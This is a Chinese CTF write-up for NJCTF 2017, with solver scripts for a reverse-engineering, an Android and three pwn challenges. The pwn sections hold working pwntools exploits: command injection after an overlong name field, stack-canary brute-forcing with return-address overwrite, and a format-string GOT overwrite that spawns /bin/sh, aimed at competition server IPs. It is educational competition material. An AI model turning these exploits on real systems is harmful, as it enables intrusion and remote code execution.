NJCTF-2017部分wp

0x00:

只做了几个很水的题目…我好菜啊

0x01:re300

找到了原题…直接用脚本解的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from itertools import cycle
import subprocess
def xor(s1, s2, enc_add):
return ''.join(chr(ord(a) ^ ord(b) ^ enc_add) for a,b in zip(cycle(s1), s2))
keys = [str(x)*3 for x in range(1, 500)]
# pull the encoded stuff out of the program's output
out, _ = subprocess.Popen(['./re300'], stdout=subprocess.PIPE).communicate()
hex_enc = out.split('\n')[0].split()[-1]
enc = hex_enc.decode('hex')
for key in keys:
enc_add = len(enc) & 0xFF;
enc = xor(key, enc, enc_add)
print enc

得到NJCTF{2c3010644150e03b6630a0b3b7f8607b}

0x02:vsvs

脑洞…数字22是爆破来的,然后就不知道干啥了,瞎脑洞发现可以足够长的buffer之后的字符串会被当成命令执行(name那里)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#context.log_level = 'debug'
#context.arch=''
def login(p,code):
p.recvuntil('code:')
p.sendline(str(code))
def handle(p,input,name):
p.recvuntil('input:')
p.sendline(str(input))
p.recvuntil('name?')
p.sendline(str(name))
def main():
length = 1024
'''
while True:
p = remote('218.2.197.235',23749)
login(p,22)
payload = "a" * length + 'ls'
handle(p,'muhe',payload)
length += 1
p.close()
'''
p = remote('218.2.197.235',23749)
login(p,22)
payload = "a" * length + 'cat<flag'
handle(p,'muhe',payload)
print p.recvline()
if __name__ == '__main__':
main()

0x03:pwn200

栈溢出简单粗暴,不过需要暴力猜解canary,然后直接ret到send flag的函数那里,把flag读回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
LOCAL = False
'''
if LOCAL:
p = process('filename')
else:
p = remote('127.0.0.1',5555)
'''
def crack_canary():
canary = "\x00"
while True:
if len(canary) == 8:
break
for item in range(0xff):
canary_tmp = canary + chr(item)
try:
r = remote('218.2.197.234', 2090)
#r = remote('127.0.0.1',5555)
r.recvuntil("Welcome!\n")
payload = "A"*(0x70-8)
payload += canary_tmp
r.send(payload)
data = r.recv(100,timeout=1)
if "Message received!" in data:
canary += chr(item)
log.info("get:{0}".format(hex(item)))
break
r.close()
except:
continue
#raw_input("now,stop")
log.info("[*] canary:{0}".format(hex(u64(canary))))
return canary
def main():
#canary_local = 0x977e4ba376461900
canary = 0x9dccf42e364dcf00
payload = "a" *(0x70-0x8) + p64(canary) + "aaaaaaaa"+p64(0x0000000000400BC6)
r = remote('218.2.197.234', 2090)
r.recvuntil("Welcome!\n")
r.send(payload)
print r.recvline(1024,timeout=0.5)
r.close()
if __name__ == '__main__':
main()

0x04 : pwn300(未做出)

无bin文件的格式化字符串,探测之后发现时x86的程序。
首先dump file吧,然后leak got,查libc,确定system,直接改了printf的got去get shell。
比赛的时候offset一直查不到…就gg了,后来joker师傅的libc库贼全,给了我offset。(我一定好好收集libc…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
LOCAL = False
if LOCAL:
p = process('filename')
else:
p = remote('218.2.197.235',23745)
#p = remote('127.0.0.1',10001)
setbuf_got = 0x08049970
printf_got = 0x08049974
puts_got = 0x08049980
fgets_got = 0x08049978
strchar_got= 0x08049984
def info_leak(addr,length=0):
payload = "BBBB" + "%9$s" + p32(addr) + "AAAA"
p.sendline(payload)
p.recvuntil('BBBB')
data = u32(p.recv(4))
return data
def exp(offset):
p.recvuntil('me')
#fucking info leak work...
data = info_leak(setbuf_got)
log.info("puts:{0}".format(hex(data)))
data = info_leak(fgets_got)
log.info("setbuf:{0}".format(hex(data)))
data = info_leak(fgets_got)
log.info("fgets:{0}".format(hex(data)))
data = info_leak(strchar_got)
log.info("strchr:{0}".format(hex(data)))
#printf_got = 0x08049974 #local
data = info_leak(printf_got)
log.info("printf:{0}".format(hex(data)))
#local_offset = 59600
system_addr = data - offset
log.info("system:{0}".format(hex(system_addr)))
write = system_addr & 0xffffff
two = write&0xffff
one = (write>>16)&0xff
payload = p32(printf_got+2)
payload += p32(printf_got)
payload += "%{0}c%7$hhn%{1}c%8$hn".format(one-8,two-one)
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
def main():
remote_offset = 0xe6e0
exp(remote_offset)
if __name__ == '__main__':
main()

0x05: mobile100-safebox

暴力跑testAndroid里的check逻辑,可以得到两组解,只有一组符合要求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.muhe;
import javafx.beans.property.IntegerProperty;
import java.util.ArrayList;
public class Main {
public static void main(String[] args) {
String flag = "NJCTF{have";
int num1 = 48533584;
System.out.println(flag + (((char)(num1 / 1000000))) + (((char)(num1 / 10000 % 100))) + (((char)(num1 / 100 % 100+10))) + "f4n}");
num1 = 48539584;
System.out.println(flag + (((char) (num1 / 1000000))) + (((char) (num1 / 10000 % 100))) + (((char) (num1 / 100 % 100 + 10))) + "f4n}");
Crack ck = new Crack();
ArrayList list = new ArrayList();
int num = 10000000;
while (true){
if(num>99999999){
break;
}
boolean ret = ck.crack(num);
if(ret){
list.add(num);
}
num += 1;
}
System.out.println("Done");
for(int i = 0;i<list.size();i++){
System.out.println(list.get(i));
}
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.muhe;
/**
* Created by muhe on 2017/3/11.
*/
public class Crack {
public boolean crack(int v4) {
int v11 = 3;
if(v4 > 10000000 && v4 < 99999999) {
int v7 = 1;
int v8 = 10000000;
int v3 = 1;
if(Math.abs(v4 / 1000 % 100 - 36) == v11 && v4 % 1000 % 584 == 0) {
int v5 = 0;
while(v5 < v11) {
if(v4 / v7 % 10 != v4 / v8 % 10) {
v3 = 0;
}
else {
v7 *= 10;
v8 /= 10;
++v5;
continue;
}
break;
}
if(v3 != 1) {
return false;
}
return true;
}
}
return false;
}
}

得到结果

1
2
3
4
5
NJCTF{have05-f4n}
NJCTF{have05if4n} //这个就是flag
Done
48533584
48539584

文章目录
  1. 1. 0x00:
  2. 2. 0x01:re300
  3. 3. 0x02:vsvs
  4. 4. 0x03:pwn200
  5. 5. 0x04 : pwn300(未做出)
  6. 6. 0x05: mobile100-safebox
,